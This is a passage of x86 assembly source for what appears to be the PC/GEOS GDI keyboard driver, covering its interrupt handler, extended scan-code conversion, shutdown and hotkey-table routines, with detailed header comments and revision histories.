not, loop & wait in al, KBD_DATA_PORT ;al <- byte from KBD_DATA_PORT ret KbdReadData endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% WaitABit %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Wait a small amount of time for hardware to catch up... CALLED BY: (F)UTILITY PASS: none RETURN: cx <- 0 DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: This routine exists simply because PC keyboard hardware is sometimes scrod. This routine waits a little bit, the idea being allowing the keyboard hardware some time to do what it was told to do. This is only called during DR_INIT and DR_EXIT when we are writing to and reading from the keyboard controller, so the concept of a delay loop isn't as horrendous as it may sound. -- eca 5/20/92 REVISION HISTORY: Name Date Description ---- ---- ----------- eca 5/20/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ WaitABit proc near mov cx, 0xeca waitLoop: jmp $+2 ;clear ye olde pre-fetch queue loop waitLoop ret WaitABit endp endif ; not NT_DRIVER InitCode ends ShutdownCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% HWKeyboardShutdown %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Clean up CALLED BY: INTERNAL: GDIShutdownInterface PASS: ds -> dgroup RETURN: ax <- KeyboardErrorCodes carry set if error DESTROYED: es, bx, cx, di SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- TS 4/30/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ HWKeyboardShutdown proc near .enter MOV_SEG es, ds ; ds, es = dgroup if not NT_DRIVER ; ; Set keyboard back to "boring" state call KbdClearShiftStateFar endif ; ! NT_DRIVER INT_OFF if NT_DRIVER pushf push ax, ds mov ax, dgroup mov ds, ax mov ax, ds:[vddHandle] UnRegisterModule pop ax, ds popf endif ; NT_DRIVER if not NT_DRIVER ; ; If this an AT, put the controller back the way we found it ; tst ds:[isXTKeyboard] jnz skipReset ; => no need call KbdResetCommandByteFar skipReset: endif ; !NT_DRIVER ; ; Reset the interrupt vector. NOTE: we do this after resetting ; the command byte, because on some machines, namely those ; with the new AMI extended BIOS, the act of reading the ; keyboard status via KBD_CMD_GET_CCB causes a spurious keyboard ; interrupt. The old interrupt vector sees the status value 45h ; as a scan code for <Num Lock>, which causes it to toggle the ; LED. However, because this isn't a real press, it never ; gets a release, leaving the keyboard in a sort of <Num Lock> ; limbo where it is neither on nor off. Our interrupt vector ; is already hacked to deal with spurious interrupts, and so ; we blissfully ignore the silly thing. -- eca 2/23/93 ; mov ax, SDI_KEYBOARD mov di, offset oldKbdVector call SysResetDeviceInterrupt INT_ON mov ax, EC_NO_ERROR clc ;no error .leave ret HWKeyboardShutdown endp ShutdownCode ends CallbackCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GDIKbdInt %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Generic keyboard interrupt routine CALLED BY: IRQ2 PASS: nothing RETURN: nothing DESTROYED: Nothing at all -- we're interrupt code! PSEUDO CODE/STRATEGY: save registers we can't trash at interrupt time; if data waiting in keyboard buffer [ read data; if keyboard response (ACK or above) [ If RESEND, resend else [ move queue up to remove last byte; send next byte if queue not empty; ] ] else [ send event containing scan code; ] else error; signal interrupt controller that interrupt is complete; restore registers; return (from interrupt); KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Doug 7/29/88 Initial version Doug 8/19/88 Changed so that int routine sends scan code only, moving translation code to IOCTL routine Todd 4/26/96 Steal for GDI code. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ KbdInterrupt proc far uses ds, es pusha .enter ; ; Be a nice little interrupt... call SysEnterInterrupt cld ;clear direction flag INT_ON ; Get handls on dgroup mov ax, segment dgroup mov ds, ax ;ds <- seg addr of driver mov es, ax ; es too, for KbdCheckHotkey if not NT_DRIVER ; ; See if we're on an AT or XT keyboard tst ds:[isXTKeyboard] jnz handleScancode ; ; Look for screwy PS/2 Model 40SX BIOS in al, KBD_STATUS_PORT ; get kbd state test al, mask KSB_OUTPUT_BUFFER_FULL ; possible problem? in al, KBD_DATA_PORT ; get scan code jz sendEOI ; => PS/2 BIOS jerking us around ; ; We've grabbed a byte off the keyboard. ; It's either a scan-code, or status update. tst al ; what did we get? jz sendPCAck ; => buffer is overflowing cmp al, KBD_RESP_ACK jae handleFunkyCode ; => kbd controller code handleScancode: ; ; See if we've got an extended scan code here... mov ah, al ; assume we do cmp al, ds:kbdExtendedScanCodes[0] je handleExtension cmp al, ds:kbdExtendedScanCodes[1] je handleExtension cmp al, ds:kbdExtendedScanCodes[2] je handleExtension cmp al, ds:kbdExtendedScanCodes[3] je handleExtension ; ; Nope. We're fine. Make sure next extension ; is clear for the next scancode. clr ah handleExtension: tst ah ; do we have an extension? xchg ah, ds:[kbdScanExtension] ; get/clear scan code ext. jnz sendPCAck ; => extended scan ; ; Okay, we've got the complete scancode in AX. ; Now we need to tell everyone about it mov cx, -1 ; assume press test al, 080h ; is it release? jz tellEm ; => release clr cx ; actualyl release andnf al, not (080h) ; clear release bit tellEm: ; ; Before telling them, we now handle the extended scan ; in here. For PC, we are converting the 16 bit extended scan to ; 8 bit before handing that to the GDI driver. ; tst ah jz callCallback call ConvertExtCodes ; al = converted scan ; bx, dl destroyed clr ah callCallback: ; ; Hack for now...if scan code is 0 don't bother sending it ; tst ax jz sendPCAck ; ; We can pass the scan code now mov bx, ax ; bx -> scancode mov ax, EC_NO_ERROR ; ax -> ErrorCode mov di, offset keyboardCallbackTable ; di -> table to use mov bp, offset GDINoCallback ; bp -> update routine ; call GDICallCallbacks call GDIHWGenerateEvents sendPCAck: ; ; We're done if we're an AT keyboard... tst ds:[isXTKeyboard] jz sendEOI ; ; Strove msb to send ACK for XT keyboard in al, KBD_PC_CTRL_PORT ; get state or al, KBD_ACKNOWLEDGE ; set high bit out KBD_PC_CTRL_PORT, al ; set state xor al, KBD_ACKNOWLEDGE ; clear high bit out KBD_PC_CTRL_PORT, al ; set state else ; NT_DRIVER mov ax, ds:[vddHandle] ;; ;; Decide if this is caused be a keyboard event or a mouse event mov bx, VDD_FUNC_GET_EVENT_TYPE DispatchCall jcxz sendEOI cmp cx, EVENT_KEYBD je isKeyboard ; must be a mouse event mov bx, si ; buttonState mov ax, 1 call MouseDevHandler jmp sendEOI isKeyboard: mov bx, VDD_FUNC_GET_LAST_KEY ; get event type and arguments DispatchCall nop ;; ;; Get key from windows ;; ; bx <- trashed ; cx <- scancode ; dx <- 0 for release, -1 for press NTcallCallback: ; ; We can pass the scan code now mov bx, cx ; bx -> scancode mov cx, dx ; cx -> press/release mov ax, EC_NO_ERROR ; ax -> ErrorCode mov di, offset keyboardCallbackTable ; di -> table to use mov bp, offset GDINoCallback ; bp -> update routine ; call GDICallCallbacks ;; ;; See args fo KbdCallback in gdi keyboard driver call GDIHWGenerateEvents endif sendEOI: mov al, IC_GENEOI ; al <- Interrupt ACK out IC1_CMDPORT,al ; set to controller call SysExitInterrupt .leave popa iret if not NT_DRIVER handleFunkyCode: ; ; See if we're sending stuff TO the keyboard... tst ds:[kbdSQSize] ; anything in buffer? jz handleScancode ; => Nope. cmp al, KBD_RESP_RESEND ; should we send again? je sendAgain ; => Yup. ; ; Send next byte of outgoing packet dec ds:[kbdSQSize] ; got any more left? jz sendPCAck ; => Nope. ; ; Shuffle everything left one char mov cx, size kbdSendQueue - 1 mov bx, offset kbdSendQueue sidestepLeft: mov al, ds:[bx] + 1 mov ds:[bx] + 0, al inc bx loop sidestepLeft sendAgain: mov al, ds:[kbdSendQueue + 0] ;get next char out KBD_DATA_PORT, al ;out to KBD_DATA_PORT jmp sendPCAck endif KbdInterrupt endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% HWKeyboardGetKey %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get any additional scancodes for interrupt CALLED BY: GDIKeyboardGetKey PASS: ds -> dgroup RETURN: bx <- scancode cx <- TRUE if press, FALSE if release ax <- KeyboardErrorCode DESTROYED: nothing SIDE EFFECTS: None PSEUDO CODE/STRATEGY: We only report one scancode per interrupt. REVISION HISTORY: Name Date Description ---- ---- ----------- TS 5/ 8/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ HWKeyboardGetKey proc near .enter mov ax, KEC_NO_ADDITIONAL_SCANCODES .leave ret HWKeyboardGetKey endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ConvertExtCodes %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Convert extended keyboard scan codes. CALLED BY: INTERNAL: ProcessKeyElement PASS: ax -> 16 bit scan code value RETURN: al <- 8 bit scan code value carry set if extended shift DESTROYED: bx, dl PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Doug 9/1/88 Initial version Gene 2/27/90 Added extended shift checks %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ConvertExtCodes proc near push cx ; ; Some keyboards have separate arrow and navigation keys ; in addition to the ones on the numeric keypad. When the ; keyboard is in the lowest emulation level that we use, ; <shift><ext-arrow> ; comes through as: ; <shift><ext-unshift><ext-arrow><ext-shift> ; This means that we would normally not be able to get ; an extended arrow key with <shift> being down. This is ; bad because some UIs specify <shift><arrow> as being a ; shortcut (distinct from just <arrow>). To get around this ; problem, we simply ignore extended shifts presses and ; releases, and the rest of the keyboard driver does the ; right thing... ; cmp ax, EXT_LSHIFT_PRESS je extendedShift cmp ax, EXT_RSHIFT_PRESS je extendedShift ; ; The <Break> key is an extended key similar to the separate ; arrow keys mentioned above, except it sents out <ext-ctrl> ; and the like. ; cmp ax, EXT_LCTRL_PRESS je extendedCtrl afterCtrl: mov bx, offset KbdExtendedScanTable mov cx, KBD_NUM_EXTSCANMAPS ;cx <- number of entries CEC_10: cmp ax, ds:[bx].EMD_extScanCode je CEC_30 ;branch if match add bx, size ExtendedScanDef ;move to next entry loop CEC_10 ;loop to try all entries jmp short CEC_100 ;exit w/same code if no match CEC_30: mov al, ds:[bx].EMD_mappedScanCode ;al <- translated char CEC_90: clc pop cx ret CEC_100: ; ; New scheme that we use, we map the code to the new extension ; add al, EXT_CODE_OFFSET jmp CEC_90 extendedShift: clr al stc pop cx ret ; ; Here's the story: the <Break> character is on a variety ; of different keys on different types of keyboards, and is ; accessed by <ctrl>+<key>. On extended keyboards, it is on ; a special key with <Pause>. This key sends out an <ext-unctrl> ; the way the extended arrow keys send out <ext-unshift>, and ; then sends out the same scan code as <Num Lock>. On ; non-extended keyboards, the <Break> character is on the ; <Scroll Lock> key. ; ; Given the above, if the "swap <Ctrl> and <Caps Lock>" option ; is selected, and an <ext-Ctrl> comes through, it should actually ; be treated as <Caps Lock> since that's where the <Ctrl> actually ; is now. -- eca 2/22/91 ; extendedCtrl: tst ds:[isSwapCtrl] jz afterCtrl mov ax, SCANCODE_CAPS_LOCK jmp afterCtrl ConvertExtCodes endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% HWKeyboardPassHotkey %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Pass control to the previous keyboard-interrupt handler so it can recognize the hotkey CALLED BY: GDIKeyboardPassHotkey PASS: ds -> dgroup RETURN: ax <- KeyboardErrorCode carry set if error DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- kliu 7/15/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ HWKeyboardPassHotkey proc near .enter ; ; Pass control off as if it were an interrupt ; pushf cli call ds:[oldKbdVector] ; ; Flush keyboard buffer on return, in case no one was actually ; interested in the keystroke we just passed on. ; INT_OFF push ds mov ax, BIOS_SEG mov ds, ax mov ax, ds:[BIOS_KEYBOARD_BUFFER_TAIL_POINTER] mov ds:[BIOS_KEYBOARD_BUFFER_HEAD_POINTER], ax pop ds INT_ON ; ; Re-enable the keyboard interface ; call HWKeyboardCancelHotkey mov ax, EC_NO_ERROR clc .leave ret HWKeyboardPassHotkey endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% HWKeyboardCancelHotkey %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: We've decided not to hand off the keypress afterall, so re-enable the keyboard interface CALLED BY: GDIKeyboardCancelHotkey PASS: ds -> dgroup RETURN: ax <- KeyboardErrorCode carry set if error DESTROYED: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- kliu 7/15/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ HWKeyboardCancelHotkey proc near .enter if not NT_DRIVER andnf ds:[kbdHotkeyFlags], not mask KHF_HOTKEY_PENDING ; ; Now enable the interface. For an 8042, we send just ; the appropiate command to its command port ; tst ds:isXTKeyboard jnz enableXT mov al, KBD_CMD_ENABLE_INTERFACE out KBD_COMMAND_PORT, al jmp done enableXT: ; ; For an XT, set the appropiate bit in the KBD_PC_CTRL_PORT ; in al, KBD_PC_CTRL_PORT ornf al, mask XP61_KBD_DISABLE out KBD_PC_CTRL_PORT, al done: endif mov ax, EC_NO_ERROR clc .leave ret HWKeyboardCancelHotkey endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% HWKeyboardAddHotkey %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Add a hotkey to watch for. CALLED BY: GDIKeyboardAddHotkey PASS: ah -> ShiftState cx -> character (ch = CharacterSet, cl = Chars/VChars) ^lbx:si -> object to notify when the key is pressed bp -> message to send it ds -> dgroup RETURN: ax <- KeyboardErrorCode carry set if error DESTROYED: none SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- kliu 7/15/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ HWKeyboardAddHotkey proc near uses dx .enter mov dx, offset KbdAddHotkeyLow call KbdAddDelHotkeyCommon mov ax, EC_NO_ERROR clc .leave ret HWKeyboardAddHotkey endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% HWKeyboardDelHotkey %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Remove a hotkey being watched for. CALLED BY: GDIKeyboardDelHotkey PASS: ah -> ShiftState cx -> character (ch = CharacterSet, cl = Chars/VChars) ds -> dgroup RETURN: ax <- KeyboardErrorCode carry set if error DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- kliu 7/17/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ HWKeyboardDelHotkey proc near uses dx .enter mov dx, offset KbdDelHotkeyLow call KbdAddDelHotkeyCommon ; nothing destroyed mov ax, EC_NO_ERROR clc .leave ret HWKeyboardDelHotkey endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% KbdAddHotkeyLow %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Add another entry into the hotkey table, if possible. CALLED BY: KbdAddHotkey via KbdAddDelHotkeyCommon PASS: ax -> ShiftState/scan code pair ds:di -> existing entry in table with same pair; di = 0 if none ^lbx:si -> object to notify when typed bp -> message to send it. RETURN: carry set if no room DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 5/30/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ KbdAddHotkeyLow proc near uses cx, di .enter tst di jnz haveSlot ; ; Not passed a slot, so we have to find one that contains 0. ; mov cx, MAX_HOTKEYS mov di, offset keyboardHotkeys push ax clr ax repne scasw pop ax jne error ; ; Found a slot. Figure what index it is in the array and set ; keyboardNumHotkeys as appropriate.. ; dec di dec di sub cx, MAX_HOTKEYS neg cx cmp cx, ds:[keyboardNumHotkeys] jbe haveSlot mov ds:[keyboardNumHotkeys], cx haveSlot: ; ; Set flag indicating that we have hotkey ; cmp ax, SCANCODE_ILLEGAL jne haveHotkey ORNF ds:[kbdHotkeyFlags], mask KHF_ALL_HOTKEY haveHotkey: ORNF ds:[kbdHotkeyFlags], mask KHF_HAVE_HOTKEY ; ; Store the combination and the action descriptor in their respective ; arrays. ; INT_OFF mov ds:[di], ax mov ds:[di][keyboardADHandles-keyboardHotkeys], bx mov ds:[di][keyboardADChunks-keyboardHotkeys], si mov ds:[di][keyboardADMessages-keyboardHotkeys], bp INT_ON clc done: .leave ret error: stc jmp done KbdAddHotkeyLow endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% KbdDelHotkeyLow %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Nuke a hotkey from the table CALLED BY: KbdDelHotkey via KbdAddDelHotkeyCommon PASS: ax -> ShiftState/scanc code pair ds:di -> slot i table where it may be found; di = 0 if not there. RETURN: carry set to stop enumerating scan codes DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- kliu 7/17/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ KbdDelHotkeyLow proc near .enter tst di jz done ; not in table cmp ax, SCANCODE_ILLEGAL jne numHotkeys ANDNF ds:[kbdHotkeyFlags], not (mask KHF_ALL_HOTKEY) numHotkeys: dec ds:[keyboardNumHotkeys] jnz done ANDNF ds:[kbdHotkeyFlags], not (mask KHF_HAVE_HOTKEY) done: .leave ret KbdDelHotkeyLow endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% KbdAddDelHotkeyCommon %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Figure all the various modifier/scancode combinations required to watch for a given modifier/character pair and call a callback function for each one, after seeing if the m/s combination is already in the table of known ones. CALLED BY: KbdAddHotkey, KbdDelHotkey PASS: ah -> ShiftState cx -> character (ch = CharacterSet, cl = Chars/VChars) ds -> dgroup cs:dx -> near routine to call: RETURN: carry set if callback returned carry set DESTROYED: nothing PSEUDO CODE/STRATEGY: figure out where we should look for the character (KeyDef or ExtendedDef) based on the modifiers foreach entry in the keymap: if KD_char matches character, ShiftState+current scan is a combination else if KD_keyType != KEY_PAD, KEY_SHIFT, KEY_TOGGLE, KEY_XSHIFT or KEY_XTOGGLE and appropriate char matches chararcter, ShiftState+current scan is a combination KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 5/30/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ KbdAddDelHotkeyCommon proc near uses ds, es, di .enter ; ; If we get CharacterSet = VC_ISCTRL, and VChars = ; VC_INVALID_KEY, we redirect all keys. ; SBCS < cmp cx, (VC_ISCTRL shl 8) or VC_INVALID_KEY > DBCS < cmp cx, C_NOT_A_CHARACTER > jne normalAddDel push ax clr ah ; say we have no ShiftState call KbdHKFoundScan pop ax jmp short done normalAddDel: call KbdFigureModifiedCharOffset MOV_SEG es, ds es <- dgroup push ax mov ax, segment InfoResource mov ds, ax pop ax mov di, offset keyDefs scanLoop: call KbdHKCheckScan jnc nextScan call KbdHKFoundScan jc done ; => callback returned ; carry set, so stop nextScan: add di, size KeyDef cmp di, offset keyDefs + length keyDefs *size KeyDef jb scanLoop done: .leave ret KbdAddDelHotkeyCommon endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% KbdHKCheckScan %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: See if the character matches this scan code's character. CALLED BY: KbdAddDelHotkeyCommon PASS: al -> second offset to check in key definition cx -> character against which to match ds:di -> KeyDef to check es -> dgroup RETURN: carry set if matches DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 5/30/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ KbdHKCheckScan proc near uses ax .enter ; ; Check modified form first. ; call KbdHKCheckChar jc done ; ; No match. Try unmodified form. ; mov al, KD_char call KbdHKCheckChar done: .leave ret KbdHKCheckScan endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% KbdHKCheckChar %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: See if the character matches that generated from a particular slot within a key definition. CALLED BY: KbdHKCheckScan PASS: al -> if b7=0: offset within KeyDef to check if b7=1: offset within ExtendedDef to check cx -> character to compare ds:di -> KeyDef to use RETURN: carry set if matches DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 5/30/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ KbdHKCheckChar proc near uses ax, bx, dx, di .enter mov ah, ds:[di].KD_keyType tst ah jz done ; => scan not valid (carry clear) ; ; If the key is KEY_SOLO, it can never produce any char but ; what's in KD_char (Chars/VChars) and KD_shiftChar (CharacterSet) ; mov dh, ah andnf dh, mask KDF_TYPE cmp dh, KEY_SOLO jne fetchChar mov ax, {word}ds:[di].KD_char jmp compare fetchChar: ; ; State keys don't good hotkeys make... ; test ah, mask KDF_STATE_KEY jnz mismatch ; ; We'll need the offset in bx for fetching a byte... ; mov bx, ax andnf bx, 0x7f ; ; Fetch the character from the KeyDef or the ExtendedDef. ; test al, 0x80 ; requires extended def? jnz checkExtended ; ; Fetch the char from the key def. ; mov al, ds:[di][bx] ; ; Figure if it's virtual (ah <- CS_CONTROL) or normal (ah <- CS_BSW): ; KEY_PAD, KEY_MISC ; SBCS < CheckHack <CS_BSW eq 0> > clr ah ; assume not virtual cmp dh, KEY_PAD je makeVirtual cmp dh, KEY_MISC jne compare makeVirtual: SBCS < mov ah, CS_CONTROL > DBCS < mov ah, CS_CONTROL_HB > jmp compare checkExtended: ; ; If key has no extended definition, there's nowhere to check. ; test ah, mask KDF_EXTENDED jz mismatch ; ; Figure offset of extended entry in KbdExtendedDefTable ; mov al, ds:[di].KD_extEntry clr ah shl ax shl ax shl ax if DBCS_PCGEOS CheckHack <size ExtendedDef eq 16> shl ax else CheckHack <size ExtendedDef eq 8> endif add ax, offset extendedKeyDefs ; ; Fetch the bit that must be set in EDD_charSysFlags for the character ; to be virtual and that must not be set in EDD_charAccents for the ; character to be valid....? ; mov dl, cs:[hkVirtBits-EDD_ctrlChar][bx] mov dh, dl xchg ax, bx SBCS < and dx, {word}ds:[bx].EDD_charSysFlags > add bx, ax ; ds:bx <- &char mov al, ds:[bx] SBCS < CheckHack <CS_BSW eq 0> > clr ah ; assume not virtual tst dl jnz makeVirtual compare: ; ; AX is now the Chars/VChars + CharacterSet that would be generated ; from the provided slot in the definition. See if it matches what we ; were asked about. ; cmp ax, cx je flipCarry ; => yes; carry is clear, but want it ; set mismatch: stc ; ensure carry will be clear when we ; complement it, signalling a mismatch flipCarry: cmc done: .leave ret hkVirtBits ExtVirtualBits mask EVB_CTRL, ; EDD_ctrlChar mask EVB_SHIFT_CTRL, ; EDD_shiftCtrlChar mask EVB_ALT, ; EDD_altChar mask EVB_SHIFT_ALT, ; EDD_shiftAltChar mask EVB_CTRL_ALT, ; EDD_ctrlAltChar mask EVB_SHIFT_CTRL_ALT ; EDD_shiftCtrlAltChar KbdHKCheckChar endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% KbdHKFoundScan %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Found a scan code that's acceptable. See if it's in the table of known hotkeys and call the callback appropriately. CALLED BY: KbdAddDelHotkeyCommon PASS: ah -> ShiftState cx -> character (ch = CharacterSet, cl = Chars/VChars) ds:di -> KeyDef cs:dx -> callback routine es -> dgroup RETURN: carry set if callback returned carry set DESTROYED: nothing PSEUDO CODE/STRATEGY: callback is called: Pass: ax = ShiftState/scan code pair ds:di = slot in table where pair is located. di is 0 if not already in the table es = ds bx, si, bp as passed to KbdAddDelHotkeyCommon Return: carry set to stop going through the table KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 5/30/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ KbdHKFoundScan proc near uses ax, cx, di .enter ; ; Check character to see if all characters need to be redirected ; mov al, SCANCODE_ILLEGAL SBCS < cmp cx, (VC_ISCTRL shl 8) or VC_INVALID_KEY > DBCS < cmp cx, C_NOT_A_CHARACTER > je haveScanCode ; ; Figure the scan code. We subtract size KeyDef from the start of ; KbdKeyDefTable since scan codes start at 1. ; sub di, offset keyDefs-size KeyDef shr di shr di if DBCS_PCGEOS CheckHack <size KeyDef eq 8> shl di else CheckHack <size KeyDef eq 4> endif ; ; Put the scan code into al. ; mov cx, di mov al, cl haveScanCode: ; ; Now see if the thing's already in the table. ; mov di, offset keyboardHotkeys segmov ds, es mov cx, ds:[keyboardNumHotkeys] jcxz notInTable repne scasw lea di, ds:[di-2] je callCallback notInTable: clr di callCallback: call dx .leave ret KbdHKFoundScan endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% KbdFigureModifiedCharOffset %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Figure the offset of the place to look for the character within a key definition, given the set of modifiers to be applied. CALLED BY: KbdAddDelHotkeyCommon PASS: ah -> ShiftState RETURN: al <- if b7 is 0: offset of slot in 